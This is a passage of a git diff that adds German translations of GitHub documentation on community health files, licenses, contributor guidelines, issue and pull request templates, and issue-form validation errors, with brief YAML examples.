+  ![Neuer Dateiname für Verhaltensregeln](/assets/images/help/repository/new-code-of-conduct-file-name.png)
+    - Um die Verhaltensregeln im Stammverzeichnis des Repositorys sichtbar zu machen, gib *CODE_OF_CONDUCT* im Feld für den Dateinamen ein.
+    - Um die Verhaltensregeln im Verzeichnis `docs` des Repositorys sichtbar zu machen, gib *docs/CODE_OF_CONDUCT* ein.
+    - Um die Verhaltensregeln im Verzeichnis `.github` des Repositorys sichtbar zu machen, gib *.github/CODE_OF_CONDUCT* ein.
+4. Füge der neuen Datei deine benutzerdefinierten Verhaltensregeln hinzu.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md
new file mode 100644
index 0000000000..dae767fa24
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-a-license-to-a-repository.md
@@ -0,0 +1,59 @@
+---
+title: Eine Lizenz zu einem Repository hinzufügen
+intro: 'Du kannst eine Open-Source-Lizenz zu Deinem Repository hinzufügen, um anderen die Mitarbeit zu vereinfachen.'
+redirect_from:
+  - /articles/adding-a-license-to-a-repository
+  - /github/building-a-strong-community/adding-a-license-to-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Add a license to a repo
+ms.openlocfilehash: 7961f690678d2bfe53726a33d02a54e95b9cfe78
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105415'
+---
+Wenn Du eine nachweisbare Lizenz in Dein Repository einfügst, wird sie den Benutzern, die Dein Repository besuchen, oben auf der Repository-Seite angezeigt. Um die gesamte Lizenzdatei zu lesen, klicke auf den Namen der Lizenz.
+
+![Ein Repository-Header mit einer MIT-Lizenz](/assets/images/help/repository/repo-license-indicator.png)
+
+Open-Source-Lizenzen ermöglichen es anderen, das Projekt in Deinem Repository kostenlos zu verwenden, zu ändern und zu verteilen. Weitere Informationen zu Repositorylizenzen findest du unter [Lizenzierung eines Repositorys](/articles/licensing-a-repository).
+
+## Eine Open-Source-Lizenz zu Deinem Repository hinzufügen
+
+<!--Dotcom version uses the license tool-->
+{% ifversion fpt or ghec %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib im Dateinamenfeld *LICENSE* oder *LICENSE.md* (in Großbuchstaben) ein.
+4. Klicke rechts neben dem Feld für den Dateinamen auf **Lizenzvorlage auswählen**.
+  ![Schaltfläche „Lizenzvorlage auswählen“](/assets/images/help/repository/license-tool.png)
+5. Sieh Dir auf der linken Seite unter „Add a license to your project“ (Eine Lizenz zu Deinem Projekt hinzufügen) die verfügbaren Lizenzen an, und wähle eine Lizenz aus der Liste aus.
+  ![Liste der verfügbaren Lizenzen](/assets/images/help/repository/license-tool-picker.png)
+6. Klicke auf **Überprüfen und einreichen**.
+  ![Schaltfläche „Überprüfen und einreichen“](/assets/images/help/repository/license-review-tool.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.choose-commit-email %}
+10. Klicke auf **Neue Datei committen**.
+  ![Committen einer Lizenz an einen Branch](/assets/images/help/repository/license-submit-tool.png)
+
+{% endif %}
+
+<!--GHE version just adds a file named LICENSE or LICENSE.md-->
+{% ifversion ghes %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib im Dateinamenfeld *LICENSE* oder *LICENSE.md* (in Großbuchstaben) ein.
+4. Füge auf der Registerkarte **Neue Datei bearbeiten** den kompletten Text der gewünschten Lizenz ein.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %}
+7. Lege unter den Commit-Mitteilungsfeldern fest, ob Du Dein Commit zum aktuellen Branch oder zu einem neuen Branch hinzufügen möchten. Wenn dein aktueller Branch `main` ist, solltest du einen neuen Branch für deinen Commit und dann einen Pull Request erstellen. Weitere Informationen findest du unter [Erstellen eines Pull Requests](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request).
+![Commitbranchoptionen](/assets/images/help/repository/choose-commit-branch.png)
+8. Klicke auf **Neue Datei committen**.
+  ![Committen einer Lizenz an einen Branch](/assets/images/help/repository/license-submit-tool.png)
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Festlegen der Richtlinien für Repositorymitwirkende](/articles/setting-guidelines-for-repository-contributors)
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md
new file mode 100644
index 0000000000..d85d574c98
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/adding-support-resources-to-your-project.md
@@ -0,0 +1,44 @@
+---
+title: Support-Ressourcen zu Ihrem Projekt hinzufügen
+intro: 'Du kannst eine SUPPORT-Datei erstellen, um anderen mitzuteilen, wie sie Unterstützung in Deinem Projekt erhalten.'
+redirect_from:
+  - /articles/adding-support-resources-to-your-project
+  - /github/building-a-strong-community/adding-support-resources-to-your-project
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Add support resources
+ms.openlocfilehash: 12819511ac3784720398175ef2d313eca7d03afe
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145090205'
+---
+Um Personen auf bestimmte Supportressourcen zu verweisen, kannst du im Stammverzeichnis im Ordner `docs` oder `.github` deines Repositorys eine SUPPORT-Datei hinzufügen. Wenn jemand einen Issue in Deinem Repository erstellt, wird ihm ein Link zur SUPPORT-Datei Deines Projekts angezeigt.
+
+![Support-Richtlinien](/assets/images/help/issues/support_guidelines_in_issue.png)
+
+{% ifversion fpt or ghes or ghec %}
+
+Du kannst Standardsupportressourcen für deine Organisation oder dein persönliches Konto erstellen. Weitere Informationen findest du unter [Erstellen einer Standard-Communityintegritätsdatei](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+{% endif %}
+
+{% tip %}
+
+**Tipp:** Um Benutzer*innen das Auffinden der Supportrichtlinie zu vereinfachen, kannst du an anderen Stellen in deinem Repository, z. B. in der Datei [README-Datei](/articles/about-readmes/) auf die SUPPORT-Datei verweisen.
+
+{% endtip %}
+
+## Support-Ressourcen zu Ihrem Projekt hinzufügen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib im Feld für den Dateinamen *SUPPORT.md* (in Großbuchstaben) ein.
+4. Füge auf der Registerkarte **Neue Datei bearbeiten** Informationen zu den Supportmöglichkeiten bei deinem Projekt hinzu.
+5. Um deine SUPPORT-Datei zu überprüfen, klickest du auf **Vorschau**.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md
new file mode 100644
index 0000000000..af188745d7
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file.md
@@ -0,0 +1,52 @@
+---
+title: Erstellen einer Standard-Community-Health-File
+intro: "Du kannst standardmäßige Community-Unterstützungsdateien wie z.\_B. CONTRIBUTING oder CODE_OF_CONDUCT erstellen. Standarddateien werden für alle Repositorys eines Kontos verwendet, das keine eigene Datei dieser Art enthält."
+redirect_from:
+  - /articles/creating-a-default-community-health-file-for-your-organization
+  - /github/building-a-strong-community/creating-a-default-community-health-file-for-your-organization
+  - /github/building-a-strong-community/creating-a-default-community-health-file
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Community health file
+ms.openlocfilehash: 762af2fcbbc16e0bfc671df2409fede9ea6e2c67
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105412'
+---
+## Informationen zu Standard-Community-Unterstützungsdateien
+
+Du kannst standardmäßige Communityintegritätsdateien einem öffentlichen Repository namens `.github` im Stammverzeichnis des Repositorys oder in den Ordnern `docs` oder `.github` hinzufügen.
+
+Standarddateien werden von {% data variables.product.product_name %} für beliebige im Besitz des Kontos befindliche Repositorys verwendet und angezeigt, die an keiner der folgenden Stellen über eigene Dateien dieses Typs verfügen:
+- im Root des Repositorys
+- im Ordner `.github`
+- im Ordner `docs`
+
+Wenn z. B. jemand einen Issue oder Pull Request in einem Repository erstellt, das keine eigene CONTRIBUTING-Datei enthält, wird ein Link zur standardmäßigen CONTRIBUTING-Datei angezeigt. Wenn ein Repository Dateien in seinem eigenen `.github/ISSUE_TEMPLATE`-Ordner{% ifversion fpt or ghes or ghec %} enthält, einschließlich Issuevorlagen oder einer *config.yml*-Datei,{% endif %} wird keiner der Inhalte des standardmäßigen `.github/ISSUE_TEMPLATE`-Ordners verwendet.
+
+Standarddateien sind nicht in Klonen, Paketen oder Downloads von einzelnen Repositorys enthalten, da sie nur im `.github`-Repository gespeichert sind.
+
+## Unterstützte Dateitypen
+
+Du kannst in deiner Organisation{% ifversion fpt or ghes or ghec %} oder deinem persönlichen Konto{% endif %} Standardeinstellungen für die folgenden Communityintegritätsdateien erstellen:
+
+Communityintegritätsdatei | Beschreibung --- | ---{% ifversion fpt or ghec %} *CODE_OF_CONDUCT.md* | Eine A CODE_OF_CONDUCT-Datei definiert Standards für die Interaktion in einer Community. Weitere Informationen findest du unter „[Hinzufügen eines Verhaltenskodexes zum Projekt](/articles/adding-a-code-of-conduct-to-your-project/)“.{% endif %} *CONTRIBUTING.md* | Eine CONTRIBUTING-Datei vermittelt, wie Personen zu deinem Projekt beitragen sollten. Weitere Informationen findest du unter „[Festlegen von Richtlinien für Repositorymitwirkende](/articles/setting-guidelines-for-repository-contributors/)“.{% ifversion fpt or ghec %} *FUNDING.yml* | Eine FUNDING-Datei zeigt eine Sponsorenschaltfläche in deinem Repository an, um die Transparenz von Finanzierungsoptionen für dein Open Source Projekt zu erhöhen. Weitere Informationen findest du unter „[Anzeigen einer Sponsorenschaltfläche im Repository](/articles/displaying-a-sponsor-button-in-your-repository)“.{% endif %} Issue- und Pull Request-Vorlagen{% ifversion fpt or ghes or ghec %} und *config.yml*{% endif %} | Mit Issue- und Pull Request-Vorlagen kannst du die Informationen, die Mitarbeiter beim Erstellen von Issues und Pull Requests in deinem Repository verwenden sollen, anpassen und standardisieren. Weitere Informationen findest du unter „[Informationen zu Issue- und Pull Request-Vorlagen](/articles/about-issue-and-pull-request-templates/)“.{% ifversion fpt or ghes or ghec %} *SECURITY.md |* Eine SECURITY-Datei enthält Anweisungen zum Melden eines Sicherheitsrisikos in deinem Projekt. Weitere Informationen findest du unter „[Hinzufügen einer Sicherheitsrichtlinie zum Repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)“.{% endif %} *SUPPORT.md |* Eine SUPPORT-Datei informiert Personen über Möglichkeiten, Hilfe zu deinem Projekt zu erhalten. Weitere Informationen findest du unter „[Hinzufügen von Supportressourcen zum Projekt](/articles/adding-support-resources-to-your-project/)“.
+
+Du kannst keine Standard-Lizenzdatei erstellen. Lizenzdateien müssen zu individuellen Repositorys hinzugefügt werden, damit die Datei bei Klonen, Paketieren und Herunterladen des Projekts enthalten ist.
+
+## Ein Repository für Standarddateien erstellen
+
+{% data reusables.repositories.create_new %}
+2. Verwende das Dropdownmenü **Besitzer**, und wähle die Organisation{% ifversion fpt or ghes or ghec %} oder das persönliche Konto{% endif %} aus, für die bzw. das du Standarddateien erstellen möchtest.
+  ![Dropdownmenü „Besitzer“](/assets/images/help/repository/create-repository-owner.png)
+3. Gib **.github** als Namen für dein Repository und eine optionale Beschreibung ein.
+  ![Feld „Repository erstellen“](/assets/images/help/repository/default-file-repository-name.png)
+4. Stelle sicher, dass der Repositorystatus auf **Öffentlich** festgelegt ist (ein Repository für Standarddateien darf nicht privat sein).
+  ![Optionsfelder zum Auswählen des privaten oder öffentlichen Status](/assets/images/help/repository/create-repository-public-private.png) {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %}
+7. Erstelle im Repository eine der möglichen Community-Unterstützungsdateien. Issuevorlagen{% ifversion fpt or ghes or ghec %} und die zugehörige Konfigurationsdatei{% endif %} müssen sich in einem Ordner namens `.github/ISSUE_TEMPLATE` befinden. Alle anderen unterstützten Dateien können sich im Stammverzeichnis des Repositorys, im `.github`-Ordner oder im `docs`-Ordner befinden. Weitere Informationen findest du unter [Erstellen neuer Dateien](/articles/creating-new-files/).
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md
new file mode 100644
index 0000000000..de98b5e8ac
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels.md
@@ -0,0 +1,32 @@
+---
+title: Hilfreiche Beiträge zu deinem Projekt über Kennzeichnungen ermutigen
+intro: 'Nutze die Bezeichnung `good first issue` für Issues in deinem Repository, um Möglichkeiten hervorzuheben, wie sich andere an deinem Projekt beteiligen können.'
+redirect_from:
+  - /github/building-a-strong-community/helping-new-contributors-find-your-project-with-labels
+  - /articles/helping-new-contributors-find-your-project-with-labels
+  - /github/building-a-strong-community/encouraging-helpful-contributions-to-your-project-with-labels
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Encourage contributions
+ms.openlocfilehash: fd99b2eeaf95a2c979b6c7edce9a896cd29c5819
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145090204'
+---
+Du kannst die Bezeichnung `good first issue` auf Issues in deinem öffentlichen Repository anwenden, damit die Issues gefunden werden, wenn andere nach Bezeichnungen suchen. Weitere Informationen zur Suche nach Bezeichnungen findest du unter [Durchsuchen von Issues und Pull Requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-by-label).
+
+{% data variables.product.prodname_dotcom %} verwendet einen Algorithmus, um die am besten geeigneten Issues in jedem Repository zu ermitteln und sie an verschiedenen Stellen auf {% data variables.product.prodname_dotcom_the_website %} anzuzeigen. Durch Hinzufügen der Bezeichnung `good first issue` lässt sich die Wahrscheinlichkeit erhöhen, dass deine Issues angezeigt werden.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.select-items-in-issue-or-pr-list %}
+4. Klicke in der oberen rechten Ecke auf **Bezeichnung**, und beginne dann mit der Eingabe von `good first issue`. Klicke auf den Namen der Kennzeichnung, um sie mit den ausgewählten Elementen zu verknüpfen.
+  ![Dropdownmenü für das Zuweisen von Meilensteinen zu Issues](/assets/images/help/issues/issues_applying_labels_dropdown.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Kennzeichnungen](/articles/about-labels)
+- [Suchen nach Repositorys](/search-github/searching-on-github/searching-for-repositories)
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/index.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/index.md
new file mode 100644
index 0000000000..042bb7bc72
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/index.md
@@ -0,0 +1,33 @@
+---
+title: Projekt für sinnvolle Beiträge einrichten
+shortTitle: Healthy contributions
+intro: 'Mit Beitragsrichtlinien können Repository-Betreuer ihre Mitarbeiter dabei unterstützen, sinnvolle und nützliche Projektbeiträge zu erstellen.'
+redirect_from:
+  - /articles/helping-people-contribute-to-your-project
+  - /articles/setting-up-your-project-for-healthy-contributions
+  - /github/building-a-strong-community/setting-up-your-project-for-healthy-contributions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /about-community-management-and-moderation
+  - /about-community-profiles-for-public-repositories
+  - /accessing-a-projects-community-profile
+  - /adding-a-code-of-conduct-to-your-project
+  - /setting-guidelines-for-repository-contributors
+  - /adding-a-license-to-a-repository
+  - /adding-support-resources-to-your-project
+  - /creating-a-default-community-health-file
+  - /encouraging-helpful-contributions-to-your-project-with-labels
+ms.openlocfilehash: ca5d1ab07721b17a77e6af6e1a1d84d33e65c984
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105411'
+---
+
diff --git a/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
new file mode 100644
index 0000000000..17139235ce
--- /dev/null
+++ b/translations/de-DE/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md
@@ -0,0 +1,68 @@
+---
+title: Setting guidelines for repository contributors
+intro: You can create guidelines to communicate how people should contribute to your project.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /articles/how-do-i-set-up-guidelines-for-contributors
+  - /articles/setting-guidelines-for-repository-contributors
+  - /github/building-a-strong-community/setting-guidelines-for-repository-contributors
+topics:
+  - Community
+shortTitle: Contributor guidelines
+---
+## About contributing guidelines
+To help your project contributors do good work, you can add a file with contribution guidelines to your project repository's root, `docs`, or `.github` folder. When someone opens a pull request or creates an issue, they will see a link to that file. The link to the contributing guidelines also appears on your repository's `contribute` page. For an example of a `contribute` page, see [github/docs/contribute](https://github.com/github/docs/contribute). 
+
+![contributing-guidelines](/assets/images/help/pull_requests/contributing-guidelines.png)
+
+For the repository owner, contribution guidelines are a way to communicate how people should contribute.
+
+For contributors, the guidelines help them verify that they're submitting well-formed pull requests and opening useful issues.
+
+For both owners and contributors, contribution guidelines save time and hassle caused by improperly created pull requests or issues that have to be rejected and re-submitted.
+
+{% ifversion fpt or ghes or ghec %}
+
+You can create default contribution guidelines for your organization{% ifversion fpt or ghes or ghec %} or personal account{% endif %}. For more information, see "[Creating a default community health file](//communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)."
+
+{% endif %}
+
+{% tip %}
+
+**Tip:** Repository maintainers can set specific guidelines for issues by creating an issue or pull request template for the repository. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+
+{% endtip %}
+
+## Adding a *CONTRIBUTING* file
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.files.add-file %}
+3. Decide whether to store your contributing guidelines in your repository's root, `docs`, or `.github` directory. Then, in the filename field, type the name and extension for the file. Contributing guidelines filenames are not case sensitive. Files are rendered in rich text format if the file extension is in a supported format. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#rendering-differences-in-prose-documents)."
+  ![New file name](/assets/images/help/repository/new-file-name.png)
+    - To make your contributing guidelines visible in the repository's root directory, type *CONTRIBUTING*.
+    - To make your contributing guidelines visible in the repository's `docs` directory, type *docs/* to create the new directory, then *CONTRIBUTING*.
+    - If a repository contains more than one *CONTRIBUTING* file, then the file shown in links is chosen from locations in the following order: the `.github` directory, then the repository's root directory, and finally the `docs` directory.
+4. In the new file, add contribution guidelines. These could include:
+    - Steps for creating good issues or pull requests.
+    - Links to external documentation, mailing lists, or a code of conduct.
+    - Community and behavioral expectations.
+{% data reusables.files.write_commit_message %}
+{% data reusables.files.choose_commit_branch %}
+{% data reusables.files.propose_new_file %}
+
+## Examples of contribution guidelines
+
+If you're stumped, here are some good examples of contribution guidelines:
+
+- The {% data variables.product.prodname_docs %} [contribution guidelines](https://github.com/github/docs/blob/main/CONTRIBUTING.md).
+- The Ruby on Rails [contribution guidelines](https://github.com/rails/rails/blob/main/CONTRIBUTING.md).
+- The Open Government [contribution guidelines](https://github.com/opengovernment/opengovernment/blob/master/CONTRIBUTING.md).
+
+## Further reading
+- The Open Source Guides' section "[Starting an Open Source Project](https://opensource.guide/starting-a-project/)"{% ifversion fpt or ghec %}
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}{% ifversion fpt or ghes or ghec %}
+- "[Adding a license to a repository](/articles/adding-a-license-to-a-repository)"{% endif %}
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md
new file mode 100644
index 0000000000..806026733f
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates.md
@@ -0,0 +1,59 @@
+---
+title: Informationen zu Vorlagen für Issues und Pull Requests
+intro: 'Mit den Vorlagen für Issues und Pull Requests kannst du die Informationen anpassen und standardisieren, die Mitarbeiter*innen beim Öffnen von Issues und Pull Requests in deinem Repository angeben sollen.'
+redirect_from:
+  - /articles/about-issue-and-pull-request-templates
+  - /github/building-a-strong-community/about-issue-and-pull-request-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: About templates
+ms.openlocfilehash: b95b31ae4171a54d9261fab6cbe93c43361296ab
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105391'
+---
+Nachdem du in deinem Repository Vorlagen für Issues und Pull Requests erstellt hast, können Mitarbeiter die Vorlagen verwenden, um Issues zu öffnen oder vorgeschlagene Änderungen in ihren Pull Requests gemäß den Beitragsrichtlinien des Repositorys zu beschreiben. Weitere Informationen zum Hinzufügen von Richtlinien zu einem Repository findest du unter [Festlegen von Richtlinien für Mitwirkende von Repositorys](/articles/setting-guidelines-for-repository-contributors).
+
+{% ifversion fpt or ghes or ghec %}
+
+Du kannst für deine Organisation oder dein persönliches Konto Standardvorlagen für Issues und Pull Requests erstellen. Weitere Informationen findest du unter [Erstellen einer Datei mit Standardbeitragsrichtlinien](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file).
+
+{% endif %}
+
+## Vorlagen für Issues
+
+Wenn du Issuevorlagen für dein Repository mithilfe des Vorlagen-Generators für Issues{% ifversion fpt or ghec %} oder mit Issueformularen{% endif %} erstellst, können Mitwirkende die entsprechende Vorlage auswählen, wenn sie neue Issues im Repository erstellen.
+
+![„Neuer Issue"-Seite mit Auswahlmöglichkeiten für Issuevorlagen](/assets/images/help/issues/new-issue-page-with-multiple-templates.png)
+
+Mit Issuevorlagen kannst du Anleitungen zum Erstellen von Issues bereitstellen, wobei Mitwirkende den Inhalt der Issues angeben können. {% ifversion fpt or ghec %} Wenn Mitwirkende beim Erstellen von Issues spezifische, strukturierte Informationen angeben sollen, kannst du mit Issueformularen sicherstellen, dass du die gewünschten Informationen erhältst.{% endif %}
+
+Mit dem Vorlagengenerator kannst du für jede Vorlage einen Titel und eine Beschreibung angeben, den Vorlageninhalt hinzufügen und einen Commit der Vorlage auf dem Standardbranch durchführen oder einen Pull Request im Repository öffnen. Der Vorlagengenerator fügt automatisch das YAML-Titelei-Markup hinzu, das erforderlich ist, damit die Vorlage auf der „Neuer Issue"-Seite angezeigt wird. Weitere Informationen findest du unter [Konfigurieren von Issuevorlagen für dein Repository](/articles/configuring-issue-templates-for-your-repository).
+
+{% ifversion fpt or ghec %} Mit Issueformularen kannst du Vorlagen erstellen, die Webformularfelder enthalten, die dem {% data variables.product.prodname_dotcom %}-Formschema entsprechen. Wenn ein*e Mitwirkende*r ein Issue mithilfe des Issueformulars erstellt, werden die Formulareingaben in einen Standardkommentar zum Markdownissue konvertiert. Du kannst unterschiedliche Eingabetypen angeben und Eingaben nach Bedarf so festlegen, dass Mitwirkende Issues in deinem Repository erstellen können. Weitere Informationen findest du unter [Konfigurieren von Issuevorlagen für dein Repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms) und [Syntax für Issueformulare](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms).
+{% endif %}
+
+{% data reusables.repositories.issue-template-config %} Weitere Informationen findest du unter [Issuevorlagen für dein Repository konfigurieren](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#configuring-the-template-chooser).
+
+Issuevorlagen werden im Standardbranch des Repositorys im ausgeblendeten Verzeichnis `.github/ISSUE_TEMPLATE` gespeichert. Wenn du eine Vorlage in einem anderen Branch erstellst, steht sie Mitarbeitern nicht zur Verfügung. Bei Dateinamen von Issuevorlagen wird die Groß- und Kleinschreibung nicht beachtet, und sie müssen die Erweiterung *.md* aufweisen.{% ifversion fpt or ghec %} Issuevorlagen, die mit Issueformularen erstellt wurden, müssen die Erweiterung *.yml* aufweisen.{% endif %} {% data reusables.repositories.valid-community-issues %}
+
+Es ist möglich, manuell eine einzelne Issuevorlage in Markdown mit dem Workflow für ältere Issuevorlagen zu erstellen, und Projektmitarbeiter werden automatisch den Inhalt der Vorlage im Issue-Text sehen. Es wird jedoch empfohlen, den aktualisierten Generator für mehrere Vorlagen{% ifversion fpt or ghec %} oder Issueformulare{% endif %} zum Erstellen von Issuevorlagen zu verwenden. Weitere Informationen zum Legacyworkflow findest du unter [Manuelles Erstellen einer einzelnen Issuevorlage für dein Repository](/articles/manually-creating-a-single-issue-template-for-your-repository).
+
+{% data reusables.repositories.security-guidelines %}
+
+## Pull Request-Vorlagen
+
+Wenn du eine Pull-Request-Vorlage zu deinem Repository hinzufügst, sehen Projektmitarbeiter automatisch den Inhalt der Vorlage im Text des Pull Requests.
+
+![Beispiel für eine Pull-Request-Vorlage](/assets/images/help/pull_requests/pr-template-sample.png)
+
+Du musst Vorlagen auf dem Standardbranch des Repositorys erstellen. Vorlagen, die in anderen Branches erstellt wurden, stehen Mitarbeitern nicht zur Verfügung. Du kannst deine Pull Request-Vorlage im sichtbaren Stammverzeichnis des Repositorys (dem Ordner `docs`) oder im ausgeblendeten Verzeichnis `.github` speichern. Bei Dateinamen von Pull Request-Vorlagen wird nicht nach Groß- und Kleinschreibung unterschieden, und sie können Erweiterungen wie *.md* oder *.txt* aufweisen.
+
+Weitere Informationen findest du unter [Erstellen einer Pull Request-Vorlage für dein Repository](/articles/creating-a-pull-request-template-for-your-repository).
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md
new file mode 100644
index 0000000000..055d604390
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms.md
@@ -0,0 +1,670 @@
+---
+title: Häufige Validierungsfehler beim Erstellen von Issue-Formularen
+intro: 'Möglicherweise treten einige dieser gängigen Überprüfungsfehler beim Erstellen, Speichern oder Anzeigen von Issueformularen auf.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 55eae6e043f82bfbaa49f7af42e23e4cb56f0ee8
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147650341'
+---
+<!--UI-LINK: We link to individual anchors within this file from the issue template editor when the given YAML error is thrown. Links to and anchors within this file should be preserved or should be updated in github/github if they are changed -->
+{% data reusables.community.issue-forms-beta %}
+
+## Erforderlicher Schlüssel oberster Ebene (`name`) fehlt
+
+Die Vorlage enthält kein `name`-Feld. Folglich ist nicht klar, welche Bezeichnung für deine Issuevorlage verwendet werden soll, wenn Benutzer*innen eine Liste verschiedener Optionen angezeigt wird.
+
+### Beispiel
+
+```yaml
+description: "Thank you for reporting a bug!"
+...
+```
+
+Der Fehler kann behoben werden, indem `name` als Schlüssel hinzufügt wird.
+
+```yaml
+name: "Bug report"
+description: "Thank you for reporting a bug!"
+...
+```
+
+## `key` muss eine Zeichenfolge sein
+
+Diese Fehlermeldung bedeutet, dass ein zulässiger Schlüssel angegeben wurde, der Wert jedoch nicht analysiert werden kann, weil der Datentyp nicht unterstützt wird.
+
+### Beispiel
+
+Der `description`-Wert unten wird als boolescher Wert analysiert, es sollte jedoch eine Zeichenfolge sein.
+
+```yaml
+name: "Bug report"
+description: true
+...
+```
+
+Der Fehler kann behoben werden, indem eine Zeichenfolge als Wert angegeben wird. Für eine erfolgreiche Analyse müssen Zeichenfolgen gegebenenfalls in doppelte Anführungszeichen eingeschlossen werden. Zeichenfolgen mit `'` müssen z. B. in doppelte Anführungszeichen gesetzt werden.
+
+```yaml
+name: "Bug report"
+description: "true"
+...
+```
+
